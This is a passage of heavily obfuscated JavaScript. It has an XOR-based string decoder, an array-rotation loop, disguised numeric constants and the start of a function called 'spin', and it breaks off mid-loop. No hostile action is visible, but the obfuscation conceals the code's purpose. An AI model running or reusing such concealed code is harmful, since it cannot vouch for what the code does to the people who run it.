NqHTRmzWFxaGcakRrkKp=function(nQDndLOwSfucIHX,Ek_SWdbU_tuv){nQDndLOwSfucIHX=nQDndLOwSfucIHX-(parseInt(-parseInt(0xffc))+Math.floor(0xa3)*Math.max(parseInt(0x2b),0x2b)+-parseInt(0x9ed));var mARbpJd$zIXCmnMg$G=jxUFlIUITCuW$EQyIKY[nQDndLOwSfucIHX];if(NqHTRmzWFxaGcakRrkKp['rUgQoZ']===undefined){var zHUUNxfInoXO=function(PBIaR){var bBVRtnpsG_qobSF_zAsRoghH=0x133f*Math.floor(parseInt(0x1))+Math.max(-parseInt(0x1),-parseInt(0x1))*0x2547+0x61*parseInt(0x33)&Math.floor(0x8a6)+-parseInt(0x3b6)*Math.floor(0x1)+-0x3f1,uXWumhsEYrqQH$PJopo=new Uint8Array(PBIaR['match'](/.{1,2}/g)['map'](YBgAjZm=>parseInt(YBgAjZm,parseInt(0xfe0)+Math.trunc(-0x2)*0x7e5+Number(-0x6)))),xQJKbUJJwmJoHDSfkPzChUg=uXWumhsEYrqQH$PJopo['map'](nW$vggR=>nW$vggR^bBVRtnpsG_qobSF_zAsRoghH),KQQwrHoIorEuU_aHXPyElBg=new TextDecoder(),gBkTlIWFDM=KQQwrHoIorEuU_aHXPyElBg['decode'](xQJKbUJJwmJoHDSfkPzChUg);return gBkTlIWFDM;};NqHTRmzWFxaGcakRrkKp['vksmiK']=zHUUNxfInoXO,dtN$gaf$ZXDRXUj=arguments,NqHTRmzWFxaGcakRrkKp['rUgQoZ']=!![];}var bYpscGgYsAlXHZQdJuwR_JC=jxUFlIUITCuW$EQyIKY[-parseInt(0xa1b)+parseInt(0x20d5)+-parseInt(0x16ba)],jUKFXRf_ZyYbNJEYhrIcWG=nQDndLOwSfucIHX+bYpscGgYsAlXHZQdJuwR_JC,GVvapGW$VQz$Og=dtN$gaf$ZXDRXUj[jUKFXRf_ZyYbNJEYhrIcWG];return!GVvapGW$VQz$Og?(NqHTRmzWFxaGcakRrkKp['NCdpds']===undefined&&(NqHTRmzWFxaGcakRrkKp['NCdpds']=!![]),mARbpJd$zIXCmnMg$G=NqHTRmzWFxaGcakRrkKp['vksmiK'](mARbpJd$zIXCmnMg$G),dtN$gaf$ZXDRXUj[jUKFXRf_ZyYbNJEYhrIcWG]=mARbpJd$zIXCmnMg$G):mARbpJd$zIXCmnMg$G=GVvapGW$VQz$Og,mARbpJd$zIXCmnMg$G;},NqHTRmzWFxaGcakRrkKp(dtN$gaf$ZXDRXUj,jVO_$qyd);}(function(fKjzkVVhd_jwn,FiSblZGI_KBX$yWDhxYiWlT){var RO$$LbO=NqHTRmzWFxaGcakRrkKp,Vvz$PR$TZ=fKjzkVVhd_jwn();while(!![]){try{var P$imvAHErxgCfPo=parseFloat(parseFloat(RO$$LbO(0x194))/(parseFloat(0x33)*-parseInt(0x37)+-parseInt(0x57a)+parseInt(0x1070)))+Number(-parseFloat(RO$$LbO(0x188))/(Number(-parseInt(0x4d8))+Math.ceil(-parseInt(0xece))+-0x94*-0x22))+-parseFloat(RO$$LbO(0x190))/(Math.floor(-parseInt(0x1))*-0x232+-parseInt(0x1)*-parseInt(0x1d3b)+Number(0x2)*-parseInt(0xfb5))*Math['max'](parseFloat(RO$$LbO(0x199))/(parseFloat(-0x134e)+parseInt(0x4ad)*-parseInt(0x1)+-parseInt(0x17ff)*Math.floor(-parseInt(0x1))),parseFloat(RO$$LbO(0x18f))/(parseInt(0x1)*-parseInt(0x1069)+parseInt(0x4)*-parseInt(0xf2)+0x1436))+parseFloat(RO$$LbO(0x19a))/(-0x14ea+-parseInt(0x1)*0x22da+-parseInt(0x25)*-0x182)+parseFloat(RO$$LbO(0x197))/(Math.floor(parseInt(0xae5))+Math.ceil(-0x19d7)+Math.ceil(0xef9)*parseInt(0x1))+Number(parseFloat(RO$$LbO(0x178))/(parseInt(0xa6)*0x25+parseFloat(-parseInt(0x165e))+Math.floor(-0x198)))+-parseFloat(RO$$LbO(0x18d))/(parseInt(0xc35)+Math.max(-0x12f9,-parseInt(0x12f9))+0x6cd);if(P$imvAHErxgCfPo===FiSblZGI_KBX$yWDhxYiWlT)break;else Vvz$PR$TZ['push'](Vvz$PR$TZ['shift']());}catch(KxGMErUzmeLU$aE_oG){Vvz$PR$TZ['push'](Vvz$PR$TZ['shift']());}}}(G_OcB_cDnVMbUXKw,0x8dae2*Math.floor(0x1)+-0x51ed6*-parseInt(0x2)+Math.floor(-0xa74ae)));var NX=[-parseInt(0xb)*-parseInt(0xf352d)+parseInt(0x503137)+parseInt(-0x569)*parseInt(0x1a3f),-parseInt(0xcc)*-parseInt(0x1d)+-0x41*0x5+parseInt(0x8)*parseFloat(-0x28d),Math.floor(parseInt(0x347a))+-parseInt(0x1)*parseFloat(parseInt(0x43af))+Math.ceil(-0x5ef0)*parseInt(-parseInt(0x1)),-parseInt(0x153b)+0x244+parseInt(0x155c),parseInt(0x5)*-parseInt(0x26a5)+0x48*parseInt(0x17b)+0x10190,0x938191+-0x5055ac+Math.max(-parseInt(0x7),-0x7)*-parseInt(0x15862)],SX=[0x1d03*Number(parseInt(0x343))+parseFloat(parseInt(0xb4530))+-parseInt(0x19465c),Math.max(-0xbc2,-0xbc2)+Number(-parseInt(0x137e))+0x2031*Math.trunc(0x1),-0x4148*-parseInt(0x1)+Math.max(-parseInt(0x1),-parseInt(0x1))*Math.ceil(parseInt(0xec2c))+-0xa25*Number(-0x21),Math.floor(-parseInt(0x17eb))+0x4*Math.floor(-0x6dd)+parseInt(0x341a),-0x2*parseInt(-0xa1c5)+-0x11e3f*-parseInt(0x1)+-parseInt(0x18688),-parseInt(0x861d17)+Number(parseInt(0x20d90))+0xcc5edc];function spin(KrP_LKnzqCRUZMfSmxteaEPX,xEWtWpbcAJqPh){var YwuYzUJpXHCk$Yp=NqHTRmzWFxaGcakRrkKp,eUyjCLlFHNZ={'fZXDR':function(nchQHqlcDtVSPJESpCM,AvFkiSaW){return nchQHqlcDtVSPJESpCM+AvFkiSaW;},'VOqyd':function(FnRq$_tn,L$BOjybUxJumWYVtWX){return FnRq$_tn%L$BOjybUxJumWYVtWX;},'CuWEQ':function(dJiiMyUDD$ynf,elduiHgNuaVUWInsey){return dJiiMyUDD$ynf+elduiHgNuaVUWInsey;},'YznQD':function(z_EOIk,Y_NsFhLz){return z_EOIk%Y_NsFhLz;},'OwSfu':function(tIsir$$QT,kUmweALRvzGLpDAxvPquSlZ){return tIsir$$QT%kUmweALRvzGLpDAxvPquSlZ;},'HXmEk':function(pwyzbSudqQWrpBcrCHdhMC_Ez,KbkA_ZSODOmhLoagFpHQnKf){return pwyzbSudqQWrpBcrCHdhMC_Ez%KbkA_ZSODOmhLoagFpHQnKf;}};for(var RaBpmsVMVwkEEew$I,eTmJ_QSRCCvFZwKkLJYP,Yh_RkCoxjXkN_kf,Mp$W_lt,ivEOaEYmbVMHkftsacKjPQCg,WQp$H_MD,ZaYPwaIfP_oKCANEpZISjqZQmO=[],H_$ShuKgxmcs=0x951+0x1*-0x40d+parseInt(0x2a2)*Math.trunc(-0x2),eLVYDPHglws=xEWtWpbcAJqPh[-parseInt(0x2)*Math.floor(parseInt(0xc1))+Number(-0x205d)+0x21df];H_$ShuKgxmcs